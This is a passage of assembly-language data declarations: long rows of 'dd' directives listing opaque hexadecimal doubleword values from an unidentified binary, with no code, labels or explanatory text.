		dd 30F89845h, 0F1A4008Bh, 0E2B01732h, 0BC002F34h, 0C85F36C4h
		dd 2D43888h, 473A12BFh,	0CB4049FCh, 15EADA4Dh, 0D006D860h
		dd 26240C51h, 1D01CC2h,	9277B891h, 0FCBAFDC8h, 5C1CE474h
		dd 0FC80F87Eh, 44A37E0h, 0CBE00A0h, 14F010ECh, 0A600079Dh
		dd 0BA20E41Ch, 728F809h, 5F5CFA74h, 58928150h, 601FC076h
		dd 0CB649F2Fh, 9770B035h, 0C84F0174h, 7680C97Ch, 0A86E8110h
		dd 60FAC5Bh, 61B1003Ah,	0BC7CC00Ah, 97C82F01h, 26DB25BEh
		dd 0BD381CF4h, 9E0C76A2h, 96C0905Eh, 600EA020h,	53261A28h
		dd 0EC003412h, 0B65CB83Eh, 1E641F3Ah, 80C26896h, 168A7470h
		dd 2C30A078h, 888ED880h, 0BB8C00E4h, 0A770542Ah, 6C70FD01h
		dd 0C0FF01A5h, 40E86090h, 0EB0E0662h, 8711B044h, 2E9056DBh
		dd 5B0420A1h, 44BBC34Dh, 3900329h, 719D2BDDh, 0BD831106h
		dd 7DAD30D8h, 2E2F3089h, 3E850F0Eh, 8D180567h, 427E066h
		dd 0EC95FF50h, 0AC890F31h, 0C8B1BDCh, 0ED9D8DF8h, 2DC85311h
		dd 797966E8h, 44FA28C8h, 897D2857h, 498DDA8Bh, 6A564018h
		dd 10E06804h, 465BA0DDh, 4C0DE7ABh, 542668A8h, 61453A75h
		dd 0E853C72Ah, 8B378F74h, 0FBDEAC8h, 1BB5283Ch,	55A4F33Ch
		dd 80769423h, 57E36A36h, 850E8D01h, 7DD2C51h, 0AC3F8h
		dd 21409C01h, 2003F063h, 0E6D00800h, 144AF136h,	9101D33h
		dd 40210E2Eh, 5A850AA0h, 99002820h, 0B7C22A2Ch,	1E82FF01h
		dd 40559D8Bh, 0DB0B0C60h, 0A00743Dh, 85870306h,	781959h
		dd 0B58D1889h, 3E831171h, 350FE001h, 2047D384h,	468BD8h
		dd 486A7204h, 508FFB68h, 99031C29h, 0EA55180Ch,	8B560F0Dh
		dd 9DCA1E04h, 284B2CBAh, 99F25899h, 0BD378003h,	75802D70h
		dd 8501FE4Ch, 3E8B09A0h, 1EF80328h, 0C8FF5C07h,	53C30074h
		dd 50A88FD7h, 3785651h,	0E983B9A0h, 0B5AA0612h,	0DB00A2BCh
		dd 7401C90Bh, 1A5E781Ch, 0DD007CFCh, 0ECE9D108h, 49E04304h
		dd 29EDEB00h, 5C3831Eh,	0F9C601E6h, 67D4CBBh, 5FF07BE0h
		dd 0AC620758h, 0B036A448h, 0F302F9C1h, 3B8DA503h, 0E89E03E1h
		dd 88295Eh, 80419CA8h, 84509B42h, 59007DEEh, 0C148087Ah
		dd 0F457F85h, 0B2E402D4h, 6581144Bh, 0DCC34BAAh, 2B581907h
		dd 0A07516CAh, 107A00AEh, 0B8338AA3h, 3235D16h,	0FFA66A00h
		dd 0C2A747Eh, 39834E8Bh, 7D00D6D4h, 366AD65h, 14EBC1EFh
		dd 81FBC80Ch, 20BCE02h,	0C28316A8h, 2CF82086h, 81000A2Fh
		dd 820FFFE3h, 0F018F3Ch, 1DEA1F04h, 2145920h, 0A373160Eh
		dd 0E2EE8DE8h, 9EECB800h, 8BA561DCh, 0F2031289h, 85230001h
		dd 0A7120C0h, 0F5394179h, 51D809C2h, 6EF00C7h, 17751926h
		dd 165307h, 4D6E822Bh, 1D00C725h, 3D4A0B4h, 3B06A3C4h
		dd 7A004733h, 0AB6A7610h, 1800DB1Bh, 1A287EEBh,	3DA0B0FAh
		dd 0CC80850Dh, 0F759A2A4h, 0A590ECB1h, 3047500h, 53E243DAh
		dd 328A00ABh, 0B5AC7F02h, 0B800508Ch, 5B67A8E8h, 6F5375h
		dd 57191525h, 3298698Bh, 2BE3D203h, 0D821319Ah,	11599E9h
		dd 36833924h, 0D83729DCh, 757B8C8Eh, 9D35A09h, 7680754Ah
		dd 3E0F630Ah, 3C7B1F1Eh, 0BEA15FA7h, 0EC1CD1h, 2350EFh
		dd 0AD16EB5Fh, 0C0A41051h, 89004BEEh, 0B1A68307h, 1E9041Bh
		dd 6F3AF32h, 0D0C94A96h, 1C0F0510h, 0E0D96014h,	0BA92FEEBh
		dd 65850022h, 243D5052h, 4E6C25Bh, 2F110803h, 0B3756101h
		dd 0A08FAFB8h, 95F5250Ch, 93C30103h, 152C8D8Eh,	50A220B7h
		dd 6ED33Ah, 0DE21BB3Bh,	0FB422425h, 0F84F6D8h, 0CA6D3027h
		dd 1A328B60h, 0EC261E3Ch, 0C401F8D0h, 306A5F10h, 26628830h
		dd 0C11D46h, 2CA3F664h,	970E1EC5h, 0C05B28h, 4620870h
		dd 3002047Ch, 0C1D136F0h, 0EC1F75FFh, 0DE002F97h, 79415FEDh
		dd 0C45E45h, 221C5838h,	0EB1771AAh, 1E00CDE2h, 0BBD6E8C2h
		dd 0A429B1h, 37B9C34Dh,	0F91CD58Bh, 82D28600h, 0A0E87B71h
		dd 5AEC062Ah, 0FCEF48DEh, 0B8925700h, 8CD2CC9h,	6DE013h
		dd 0D51C9711h, 9CAAC477h, 98BFA203h, 0E8A1D151h, 176B4FBh
		dd 0CA8D139Eh, 0C4150E8Ch, 9800C1B9h, 1E2DA849h, 742055h
		dd 14516F6Ch, 0A5E85958h, 230FB200h, 4486A3B1h,	73743869h
		dd 2DEF4D00h, 37E503CEh, 8C482170h, 0B0B900A4h,	17741E6h
		dd 0D51006Eh, 0BD36FDDh, 49009A7Bh, 4B614630h, 7D69C824h
		dd 1960080h, 25E3ED72h,	29E84C88h, 0C63D400h, 0CDF4890Dh
		dd 9C3107FEh, 8006B075h, 78076C33h, 0A5158200h,	297A744Ah
		dd 0B28F0093h, 6948261Ah, 4D028768h, 1E9C0A3Dh,	0AE4E40ACh
		dd 3950BD3Ah, 46D2A301h, 4FD96F62h, 532DCCh, 2419DE1Fh
		dd 5D0EC795h, 0F5FDAA00h, 1D901611h, 298D3AB3h,	5C655200h
		dd 139C5144h, 9F7BAA00h, 5586589Ah, 67380005h, 18B1EB3Dh
		dd 257FB9A4h, 0A6094900h, 0B3C8F47Fh, 2FD30AE2h, 0D02AC5h
		dd 2BCCAFEDh, 8E07D9EBh, 14E66219h, 61022320h, 7AAC0081h
		dd 495690F0h, 0CC3958A2h, 0CF4D002Ch, 55827E09h, 7C3C005Ch
		dd 17B6E98Eh, 89E4EC62h, 73886426h, 9E2D6003h, 0C2FF853h
		dd 0D9A90084h, 9A3E1C81h, 0EF008A8Dh, 980D272Eh, 1DC4CD5h
		dd 4EC80572h, 0F43E1BACh, 0B2000209h, 3BD2D6A3h, 0FD701DCh
		dd 9422A47Dh, 40BFF3E7h, 4219809Bh, 462F642Ch, 664F3803h
		dd 65FAE030h, 0F8F3EC0Dh, 0D8CD005Ah, 959A5BFBh, 0BE00ABC0h
		dd 79C1BC5Ch, 0E57D19Dh, 0F0F7B3A6h, 402F4C41h,	2326F837h
		dd 0CDEC404h, 0FAAF56Fh, 91C10B88h, 0E4C7DB9Bh,	4D0077AEh
		dd 0F54EC036h, 0A1322Ah, 63C8DAA9h, 0ADDDEE72h,	40BF2000h
		dd 0DCB0279h, 429A0E51h, 0DC801823h, 71A01F16h,	662BAD00h
		dd 6E2460E5h, 84490370h, 0D2995A62h, 0B17FA290h, 0F4388E00h
		dd 6B23D47h, 0A07423h, 61C8CC77h, 0A956A1D3h, 47C05A00h
		dd 50124829h, 0BC7801F4h, 8C62AB4Eh, 19D1C479h,	0BF66700h
		dd 161A06BFh, 971C00B2h, 6BFEA969h, 83000F44h, 5B9A4D74h
		dd 0C6613Fh, 8CA28667h,	462CFCADh, 8E59F93Ah, 0C3CD5FC4h
		dd 0E05816D4h, 3C927ACEh, 0F300F788h, 0AF08BEE6h, 320F20FAh
		dd 0A0C67E93h, 7AA3CDA5h, 1DA90055h, 0EED7CA0h,	5A009D56h
		dd 0D2F9C731h, 7F97BBh,	0AD3D33A4h, 0E520CCB4h,	0A16B772h
		dd 0A90FC4C9h, 26C6279Ah
		dd 9EB08187h, 3F84B816h, 0EB00F3CAh, 0BF1C2143h, 0A1E69749h
		dd 9545C300h, 64327726h, 109200E4h, 4DACD587h, 0D41E4C09h
		dd 4A808F23h, 0F86E7F42h, 0E67617h, 4D12BEDBh, 5BDF2CD7h
		dd 931DBB3Dh, 9FA6815h,	4005784h, 0A9D90528h, 1FF1AF00h
		dd 0D43C7D8Eh, 8AB00A1h, 384D6367h, 0EA00E6CBh,	242C8B33h
		dd 944BED81h, 55C30F4Fh, 860EC66h, 7DEE35B0h, 0B2FC0C00h
		dd 46068A80h, 47070388h, 575D202h, 12D316D3h, 4AEF73B9h
		dd 334A0A0Bh, 0EDEA0DC0h, 3FC5D612h, 0C0130F71h, 74C00B5Fh
		dd 0F82B5706h, 5F6207F8h, 0C2A0EBBDh, 833E9DA1h, 0E883EA72h
		dd 0B928C2EFh, 0C94320B4h, 0F78B56C0h, 0F303F52Bh, 58E95EA4h
		dd 480205FFh, 4508E0C1h, 6BE88BB2h, 313D3831h, 1A73367Dh
		dd 7E050E90h, 40410E28h, 1822F042h, 7FF88307h, 0C1520377h
		dd 0EC15BB02h, 0C933A358h, 1E8C000h, 0D1831274h, 1CB6D502h
		dd 0FFEE7C4h, 260E725Dh, 61FC6789h, 7008C282h, 8817E179h
		dd 0F62EDF7Ah, 0BD648E70h, 69561FB8h, 61757447h, 2B1641E6h
		dd 1D0D636Fh, 6B659C46h, 1D501F0Ch, 633DFF6Fh, 78452C70h
		dd 0AF1937EAh, 4535738Eh, 8C6A753Ch, 294D6643h,	0DB67613Fh
		dd 0E041ADB0h, 670F677h, 746E6972h, 4C3F1466h, 4544064Fh
		dd 0E9062052h, 5401B7E7h, 70E96568h, 75643E41h,	0DF7CB8BDh
		dd 20791B42h, 25F853FEh, 0F49D737Fh, 0DFFCBF89h, 38625AD0h
		dd 0E26187A6h, 0F7381EDBh, 79E56B7Dh, 0E36DFBE3h, 202E6663h
		dd 623F0B6Bh, 68756D72h, 0EB6F5153h, 0A22C5164h, 43751E95h
		dd 0C19007AFh, 0D2060428h, 22E54509h, 7F02B618h, 7EF1A647h
		dd 0B3DAFF41h, 4D2314F5h, 6C3FC16Fh, 0BE63F15Bh, 2741B146h
		dd 0D7EF6F4Ch, 0F34F534Ah, 0B433B3DAh, 0B05BA4A9h, 80A9007Fh
		dd 100h, 519200h, 0D847AD00h, 7D2486EDh, 89B268F3h, 4225F105h
		dd 25D7D6B9h, 0CB326AA1h, 6C1ECCACh, 3E2CD5B1h,	0F1FF8CCFh
		dd 0E6D9907Ah, 857C6CF8h, 0A1F85D25h, 0E368260Eh, 0A99C8F04h
		dd 66A32F8Dh, 0B7A272F2h, 50E7334Fh, 23C031A2h,	9EC9D448h
		dd 90789C39h, 30A89425h, 8F62F539h, 0A07C1F9Bh,	6EF7AFA9h
		dd 8BC29CF2h, 0A9D8E968h, 3A9304FCh, 0CF2EF9EEh, 46B598C9h
		dd 1C9AFA69h, 52764DAh,	820D9E06h, 2A5EF88Fh, 804B2F4Bh
		dd 38B1F3EBh, 6B69B97Dh, 7FC7AF41h, 0A36FAE96h,	817EA9A5h
		dd 9A55A9E1h, 62C90CEAh, 4E208B2Fh, 65C1D69Dh, 0B77A346Fh
		dd 0CB6E3CB1h, 5C824807h, 58949780h, 0AE00F2C1h, 20030BE7h
		dd 0B0044B92h, 0B3C56D25h, 324D0D24h, 9B7F21B2h, 0FFB3F8CBh
		dd 45C60F21h, 0F92B1C5Fh, 98D053Bh, 6F3DBADDh, 42A38D15h
		dd 0FF3EEE40h, 8B0741EAh, 5FF20061h, 9F14E102h,	39296C0h
		dd 0BC2B353Ah, 0F7C9AC45h, 0EA280718h, 3D3FC8B6h, 4D504358h
		dd 0C92AA373h, 8B84E1B7h, 0F27BCC62h, 1C6A0681h, 0CE431BB1h
		dd 994A1232h, 0A5414021h, 11742C97h, 0E0FC1FBDh, 4CE17999h
		dd 7BBB02AEh, 0BFC38561h, 7FE4D6C6h, 2BFE288Fh,	6B9FF4E4h
		dd 2DD7E90Eh, 316827D1h, 1B667FBDh, 44DEDD15h, 0A18AD688h
		dd 8F952FD6h, 580A87ADh, 5E3FCFCAh, 0D09F9D0Fh,	92E97B0h
		dd 2A19972Bh, 35E8AC70h, 0B3AD56BCh, 0CE34643Fh, 2CA1A578h
		dd 9760EBFAh, 2B3301EAh, 0F0F46FFBh, 5ADADB35h,	0B92EF294h
		dd 0AEEFA781h, 44F08D67h, 3F883781h, 3A8C6A3Dh,	2C04D699h
		dd 9B94289h, 95F5507Bh,	674050C6h, 6ACE6F12h, 1A2BD23Fh
		dd 585AFA58h, 43D4027Ch, 39E4BD8Bh, 0A5903C38h,	657B4EA9h
		dd 3EE1A459h, 4B07706Eh, 9D072EFEh, 890C968Dh, 76335170h
		dd 80BEC803h, 7C7DF8AEh, 0C0D2E461h, 3E87E483h,	1C191D39h
		dd 72A6E49Ah, 0CEBF4D27h, 48C2EC58h, 36A33E7Eh,	16CA8409h
		dd 53DD39D9h, 49B75465h, 3C193443h, 61417DFEh, 6F6A15DAh
		dd 1332498h, 357EFF98h,	47256270h, 4F75DFDDh, 0FBEEA921h
		dd 3214ED85h, 371E7C9Eh, 1E2927B0h, 85908B00h, 3003EB2Eh
		dd 2337C796h, 638A5DCBh, 0FF2C590Fh, 0F71F5F2Bh, 77BBE6C4h
		dd 0B31BC64Eh, 37FE59Ah, 802DECD7h, 0BEC430D7h,	1963250Fh
		dd 242A3FF8h, 9C1BEC82h, 0F3845D1Fh, 30ED03A6h,	5CD6E881h
		dd 5FA51357h, 9CD5E998h, 6DA90104h, 0BCF32C57h,	0F70EBBFh
		dd 6308DC5Eh, 9E111402h, 6F333C17h, 0A1DB161Bh,	51447D8Bh
		dd 4A886912h, 0A35D2A81h, 5CC84FDCh, 73F3BF7Ch,	0DB35B424h
		dd 0FE95E000h, 0EEEBE0B3h, 0E5F059CAh, 57354ACFh, 78F40AEh
		dd 0AEFF8C9Ah, 0A5603A1Bh, 9B8D0447h, 0BE2C66D9h, 0EBA0645Fh
		dd 7D3290E6h, 0D5BDAD70h, 7CDCEBD5h, 4F5D1D79h,	62E1D258h
		dd 2639776Eh, 0CC6B64A3h, 0B376B43Fh, 7CCC958Dh, 0D6DF9EAFh
		dd 19AC67ACh, 0D94E876Bh, 0EECBB348h, 0D5011545h, 52AF3F4h
		dd 327C19DEh, 60D3FDF4h, 11730184h, 6B1A7F79h, 2193E7CFh
		dd 8044C5D5h, 0D2DC2A9Fh, 0AA6A9587h, 77ED372Dh, 650DB0D8h
		dd 0DBD77CB5h, 0F36E6031h, 394534Eh, 48A71EFEh,	989F5F0Eh
		dd 9CEA973Bh, 0C60359B5h, 9131E5BCh, 72D63C2Fh,	1986DF3Bh
		dd 0DC683ABBh, 0B2E06h,	40D1A974h, 23B28549h, 0E9AF71A8h
		dd 989D2CAAh, 0F851F7AFh, 103204D5h, 8EFB6022h,	84B0108Eh
		dd 0D7E32DD3h, 0B8311F40h, 0FD7600ADh, 0EB4DC20h, 566CB34Bh
		dd 0FBBC1BC7h, 3AA1E399h, 19CC4BA9h, 89899D30h,	10650929h
		dd 0B44A913Ah, 0B014FE2Bh, 551A83F2h, 9E6AD004h, 666BCE0Ah
		dd 0CCBA48A9h, 78C81871h, 4844B4BAh, 2A4B4CEFh,	5D3A7632h
		dd 1726D0DFh, 656DB75Fh, 904CB86Fh, 0A4799A49h,	0A8AC35Dh
		dd 0FD0BBF3Fh, 7C3D9DFEh, 3FA24285h, 40144BEBh,	1EF6F64Bh
		dd 0B0BA711Eh, 0AB5A661Ah, 41B9A8C7h, 386845D5h, 59B4CCC4h
		dd 0A31C0F00h, 1B9028E6h, 3369CBF7h, 7ABB91A9h,	0B59FE1F5h
		dd 0EA4CC25Fh, 0EE6F0E4Ah, 0D3C9FE35h, 3DE5373Eh, 2C6A2660h
		dd 946AE5AAh, 0A3BCAB4Fh, 0CDB1CD84h, 0F38A61A2h, 4835C9B6h
		dd 1D8DDBE3h, 0C12E530Bh, 0A7C6A343h, 0D8E9D87Ch, 68175446h
		dd 3101B7C4h, 0E3EB8A42h, 77C76C8Ah, 72A3BF2Dh,	9296E36Ch
		dd 83832318h, 601CFACFh, 0F3D1647h, 0F30A1F2Ch,	2BD8B517h
		dd 0F968A4Dh, 0BD0E816Ah, 0A2C96935h, 28E0BE9Eh, 0A497A69h
		dd 96BCF2BFh, 9F9675F5h, 0CB426B4Fh, 84F301EAh,	0A8E13401h
		dd 4AAD0C96h, 9FB24EBFh, 9BDED886h, 118B74A8h, 0E294A21Dh
		dd 0A7D3672h, 7B470FE4h, 5F10AE93h, 0D0E80332h,	4ABF1510h
		dd 7CA979EBh, 0BAE9BB06h, 0A48E67CFh, 0F9237B0Bh, 6FCDB8DAh
		dd 2313D273h, 0BE044822h, 0E755FC27h, 0ECF86CC2h, 0B9E12B2Ah
		dd 19A368C1h, 7B4FF814h, 0DF9E36Eh, 394B087Ch, 84A76518h
		dd 7C7453CDh, 0DE1D63E9h, 5B86C6FBh, 9BA68732h,	2AAA35F0h
		dd 486057C7h, 6BD5B6C9h, 487403EAh, 0AF358F12h,	124FE8CFh
		dd 0D265654Ch, 0C4B8039Bh, 6478415Dh, 0DEBE2899h, 92E22C43h
		dd 2095D2BBh, 0A3D6BD97h, 90F1497Fh, 0A269F6F1h, 61E9528h
		dd 8D7D32F8h, 0B85543A7h, 0A9E21EF5h, 0AA0DB967h, 3F1110B6h
		dd 0D789447Ch, 53712FFDh, 2B7D8EE6h, 9FDDCC14h,	892ED7A5h
		dd 0FCCFA379h, 16E9A794h, 0BE31D02Dh, 0AC33B380h, 57F8BEDEh
		dd 88AF033Fh, 88A8B82Ch, 53989615h, 0F4CEAD8h, 47DEAAEBh
		dd 0D0F66503h, 0F977539h, 418F1536h, 9AE1F6C3h,	0D25B4766h
		dd 25F2B58Ch, 975DB9BCh, 0DB3E1CAAh, 71600549h,	4BD6653Dh
		dd 6F20D2Dh
		dd 0CD428164h, 0DFFB681Fh, 0CB8B3FE9h, 0A94504A8h, 8C2C4B06h
		dd 0BCD71924h, 9A57158Bh, 59A7E99h, 751E9ADDh, 0B592C7F5h
		dd 0D2E91827h, 53E4BA5Fh, 8F5C7C27h, 73C45D79h,	0B500BE75h
		dd 2A166B7Ah, 32E7FB3Ch, 4464F503h, 0FD4FB23Dh,	0BD5A4F08h
		dd 0C43F423Eh, 700AB5C5h, 34CE5634h, 300F232Dh,	23D6E9Dh
		dd 0C9F10E0h, 9D8D6F7h,	0B559D02Fh, 7D487505h, 83CB8B3Dh
		dd 8CEB7709h, 67FACE48h, 5875676Ah, 98E8176Dh, 319074CAh
		dd 9CAF9246h, 42894C12h, 14DC6BD8h, 6D95ECF2h, 26694A49h
		dd 32C7B671h, 0B105E611h, 6FFAFB51h, 1B3926B8h,	35FD699Eh
		dd 0F5D000A6h, 0AB690B90h, 1FB89F74h, 3BAB0246h, 0F3092CC9h
		dd 657E4DBCh, 190E25F7h, 0F5F0C28Dh, 0D497676Ch, 49677676h
		dd 0B43CF5CBh, 0B8CE46A7h, 6B3D85AAh, 738994C7h, 0B3035659h
		dd 0D10761FEh, 9DE401Fh, 0FAEFCA24h, 6CE6D943h,	0DCE0EE79h
		dd 75AF7E91h, 0CF292027h, 3853860Fh, 0D73BA2A6h, 168611E6h
		dd 0CB7407EFh, 0D0729234h, 3EAFB7B7h, 7CB4103Ch, 0D70D1899h
		dd 329C78CEh, 0B0155726h, 2A186605h, 171DD26Eh,	433AB243h
		dd 0DD4AEA3h, 0C5E25A73h, 0F02E3533h, 39FF4AC8h, 0C2132BD5h
		dd 5159E613h, 60A09145h, 314F0467h, 165A4FCEh, 0C1DDE940h
		dd 26BB8988h, 0A42212C3h, 2260C36Fh, 4810F881h,	0CE249C22h
		dd 0FF6362Ah, 0AC67C3DEh, 0F62433D0h, 58986D7Dh, 0B5EF4128h
		dd 0F5F7A940h, 0CF60F704h, 780E9BCFh, 0FDAD62h,	86046831h
		dd 0D8B3B26Ch, 0B7F74E2Dh, 8DFB4476h, 7BA3AAh, 2A00D797h
		dd 16EB094Dh, 9AEA386Eh, 533D854Ch, 74B25B99h, 3846DA69h
		dd 0D3B5C0EDh, 168A4CF4h, 0DA3511DDh, 6AB883A1h, 0A38DF85Ah
		dd 8D0747D3h, 8366B364h, 3510A057h, 3C8D6C77h, 0A65355BAh
		dd 2401B0BBh, 72F54ACBh, 7FA0354Fh, 0A829529Ch,	65F1B3CEh
		dd 56C8BFC8h, 9248DB38h, 0C886BD96h, 6F831EE5h,	64D919BBh
		dd 9AEBB3FDh, 0DADBCE03h, 81307920h, 6574D237h,	0CEA716F0h
		dd 0F8024BBh, 25D05F91h, 842FE61Ch, 42C6C1BFh, 17E326F0h
		dd 0B60B4620h, 86790855h, 4928D73Bh, 224D2A06h,	10396205h
		dd 780450AAh, 541EB62Dh, 0F7DD132Ch, 18990230h,	3B124247h
		dd 80401A44h, 6E74B448h, 0D1627735h, 50A85F58h,	2E3F3903h
		dd 89B11BA8h, 0A934F661h, 0EB2F603Dh, 0BE85E73h, 37322E4Fh
		dd 7DBA3FE0h, 685CC96Ch, 150E946Dh, 0A29F81DBh,	8897BF69h
		dd 0A8CC851Dh, 9B2CD48Eh, 854CBF1Fh, 3B69E1Fh, 0FF1CC9BDh
		dd 7A529208h, 0D84077A6h, 0DC0A4B0Fh, 2D16B74Ah, 0A0BC3382h
		dd 42EC0451h, 20999FADh, 13E1040Eh, 53F5B823h, 7CCD2277h
		dd 8389C984h, 0A29D0C7Eh, 6AD81CC8h, 0B6BE38E0h, 0E1A68466h
		dd 0AEA670B3h, 337F05D6h, 32BE5B5Ah, 94355EB2h,	0ADA3ABA0h
		dd 0ED75EF7Bh, 3F6BAF87h, 5CECC634h, 67930CB8h,	2419F27Bh
		dd 5AEFCFEh, 0B0C4B09Ah, 94C91062h, 0CBEFEA95h,	163BB4CDh
		dd 95BA8554h, 0F030DD9h, 618F4F6Ch, 7AD8A9EDh, 308F1A1Bh
		dd 99C40A2h, 0FE575DAFh, 0E1F1049Eh, 0DCFCFA41h, 9191CA8h
		dd 5E1A9F45h, 0CFE5ABCFh, 8EF08739h, 88B6D777h,	0A31EB138h
		dd 0D52394CAh, 0D864D439h, 16D19A8Dh, 9259C302h, 0B87E847Fh
		dd 303F686h, 6F76DD51h,	0B9A694D8h, 71C373D0h, 0BFDF8F78h
		dd 0ED11437Fh, 44F44D91h, 0A8DCA508h, 0C31DE712h, 0DB3EACh
		dd 0FA55BF03h, 739377BBh, 0B1AF3681h, 92EC86Ah,	0D757F42Ah
		dd 0BAF08F0Bh, 1A83DF55h, 74994939h, 2D5377EDh,	0B856A64Dh
		dd 96992EB5h, 60FA1127h, 8DF05D15h, 1FE3B3Dh, 52AA000Ch
		dd 86CACA9Ah, 24D6BADBh, 3B20494Dh, 0DBE14BC0h,	6861AD9Ch
		dd 96144596h, 0BE9F4159h, 1A3F76ADh, 4CF576F5h,	0AE778199h
		dd 0EDFC4A98h, 535107E8h, 0CFC5F32Fh, 0A972FF30h, 9C93B330h
		dd 0B6522738h, 9AD4E843h, 93C397C7h, 93C8FF16h,	6DC8DCAFh
		dd 0EEA4B313h, 24018C6Fh, 9D0CF283h, 0C4EE5B40h, 20D1FD6Eh
		dd 0FFFF0136h, 7F96A0A1h, 575A6785h, 85006594h,	0AE3ABBFCh
		dd 4D618C48h, 0FC48C173h, 512F759Eh, 726BF558h,	3C4B5FD4h
		dd 0A146BD7Ch, 0D1BED3A8h, 0B1A59051h, 98684CC2h, 41EB5096h
		dd 0F1D011ADh, 0BFEF055Ch, 60B1EC4Ah, 70B2F9ECh, 0DB8FACD5h
		dd 0BCD3BFDAh, 5CAB865h, 3FD09603h, 1A7E81B2h, 0C39E7E93h
		dd 3D433F2Bh, 0F936182Fh, 0E0175718h, 200E3FE1h, 94C17ECAh
		dd 0E9596BAEh, 6BA5B45Dh, 52B6C45Ch, 0AD42D6CCh, 35B0539Dh
		dd 53248D03h, 0D23E63ABh, 0BD237E1Eh, 6CAAA8Dh,	86ED0749h
		dd 704E7C2Dh, 0DF74ABF8h, 6554AB4Ah, 29E7BD0Fh,	2D23A727h
		dd 0E72D3E40h, 6D93B06Ah, 6BC2CBA9h, 6DFC0607h,	0FEBA9FACh
		dd 0CFAF6882h, 55F72B8Dh, 5E9F68Fh, 0F0485197h,	5B64A32Fh
		dd 2EEE01B1h, 258D63B9h, 0BE6D4957h, 15A45E75h,	0AC7E9525h
		dd 0A0CAFF41h, 220462BCh, 8791E610h, 50AC32DEh,	311450Dh
		dd 0E206DFBCh, 135772C5h, 0D03A82F4h, 0A52B3FB4h, 705D06E1h
		dd 2F3C463h, 0B97E2394h, 113CD0D4h, 0B6B6C315h,	6858892Ah
		dd 0FDFC5A5Ch, 32C88F65h, 1C2571E5h, 0A522CBABh, 4331E1ABh
		dd 0FF599A48h, 0ACCE999Fh, 0FCDD45E0h, 7816D28Eh, 2A4E0C47h
		dd 0E1C9D755h, 696F262Fh, 84CD1AF0h, 0C45D21BBh, 0A773D444h
		dd 1B89416h, 4012C44Ch,	0E97A2474h, 3FB7F073h, 944E8FD6h
		dd 8BF80071h, 0EBA6B893h, 0D23612B9h, 0F35D9586h, 2064DED6h
		dd 0FD7E08D9h, 0B0E5DA30h, 0F27E8E06h, 0C5307DB6h, 0B691DF29h
		dd 5D46A1F1h, 17656725h, 4FB8F51Ah, 0F62E4B5Ah,	64BAA245h
		dd 486E4CCDh, 0DB668387h, 0E15C2751h, 0BDFF5CFFh, 520A6C45h
		dd 4E6338A9h, 0EF485015h, 0E877A014h, 0D9011EDAh, 7323CC61h
		dd 0B5A18BEFh, 425FDBEFh, 712EDF53h, 573BD502h,	20ECA4C1h
		dd 19146E9h, 0EE8E9C1Fh, 6A95501Dh, 5ACA2B3Bh, 25C78A26h
		dd 69ED2304h, 8A2999B5h, 0F1704270h, 0A946A5EDh, 3B85584h
		dd 0EEF0136Fh, 9057D54Ah, 957EC12Ch, 394EB6AFh,	0BBEDFF26h
		dd 87D65A0Ah, 0FEF11527h, 0FD467AF2h, 6FA66E29h, 0F8385777h
		dd 0BCB248EEh, 679DDC55h, 60D2CE53h, 0B433CC3h,	93FF5890h
		dd 60F8693Bh, 0EE35CEBEh, 0CB5BB0C9h, 76ED232h,	2E8992D3h
		dd 134E384h, 79342D5Ch,	9C52D13Bh, 42C6B846h, 8304044Ch
		dd 7D3A7E21h, 7E558746h, 0E517D7B3h, 51A27226h,	0E6D5E80Fh
		dd 0FB7FB75Ch, 2A80A9A6h, 6D92A459h, 3EB9BF2Ch,	0A0B38D06h
		dd 94A7B03h, 38CEEDB9h,	0C23E2CF5h, 150182F0h, 0F95CA4C9h
		dd 7E8B6599h, 0E0AEEC8Ch, 0F8A1B74Dh, 0CD3AA82Dh, 5416B6B0h
		dd 3D8A10B9h, 1F5518Eh,	9DA45311h, 0AD3A8E2Ch, 47DE7016h
		dd 0B7ABED2Ch, 71ABFA6Dh, 0EB223D71h, 7B5A2164h, 1328421Ch
		dd 0C1A58D8Eh, 369809C5h, 44738014h, 6DC1A20Dh,	875CF545h
		dd 0F6EF8585h, 66322A50h, 0F01EF9ABh, 0D843F8C0h, 1127A2BEh
		dd 7EC017CDh, 0F1AFBA1Fh, 6371E66Fh, 0F8D1ABFAh, 260F8BD9h
		dd 7CB0CEE6h, 7FDCF325h, 5A36D2EFh, 8A49B20Ah, 13901616h
		dd 880B03E1h, 5CC584EFh, 6DD0EB8Ah, 68E308Ch, 0B0E6ED3Bh
		dd 9BEE58D8h, 22A086C6h, 0ADADBA7Eh, 60F1DB65h,	0CB8E06B2h
		dd 7CB1E49Eh, 0D7BFDE03h, 759BB6Dh, 0FAE92EAAh,	89472D2Eh
		dd 0A1C28E37h, 0F541CFBh, 4EFFDE3h, 0E48B09F4h,	0B058E4E3h
		dd 0FCBAA185h, 0A1391449h, 0DB0FA458h, 1E4EBDC7h, 0C8038A68h
		dd 2F409DECh, 0D3475C38h
		dd 754C6755h, 0F9238C1h, 59C4B083h, 3AB00CF6h, 0EC14B87Dh
		dd 0DCABD559h, 0CED660F0h, 3095D203h, 769DD018h, 1C10665Eh
		dd 86F9A778h, 0BCED5D24h, 0C182FE66h, 0ADE5C6F6h, 0C90D243Dh
		dd 83CF1DB9h, 0E3D62257h, 8EEE1309h, 0B560C84Ch, 49623072h
		dd 0CFAF9CCDh, 0E83AC347h, 0AE25B40Eh, 131F3D3Bh, 40A93B9Bh
		dd 0D5A087FCh, 7CBF7E36h, 21D41081h, 3A360C0Bh,	51B82053h
		dd 0E03F0221h, 0A4B83EAh, 0E4A80C61h, 9F0B159Dh, 0AE4442FBh
		dd 0FBACB87Ah, 246500CAh, 34BEBA13h, 0F8F33500h, 2D482BF2h
		dd 872C1D97h, 0DB79137Ch, 0D890B2D9h, 2C38146Bh, 157A9FF2h
		dd 7CCBF953h, 0AD15FAEEh, 3AFFFD7Eh, 8FE9D224h,	0CAC6FB3Ah
		dd 642BFFD5h, 0E72915A8h, 13379E09h, 6FEE778h, 0CD568FBBh
		dd 0C17CE0E2h, 0BC878253h, 7840091Bh, 0A0161E36h, 0A120B4C7h
		dd 6732C6A6h, 11F67C06h, 9F15D34Fh, 0F0F94564h,	0C27BC06Bh
		dd 387E956Bh, 43087A9Fh, 362915E1h, 5D8ED97Fh, 51B5CC6Fh
		dd 0C350E401h, 0DA804831h, 6E586F9h, 9096BB19h,	168300B3h
		dd 0C1D12EEEh, 9F75A6B9h, 0FF1AF37Fh, 6D9B5586h, 7C662B59h
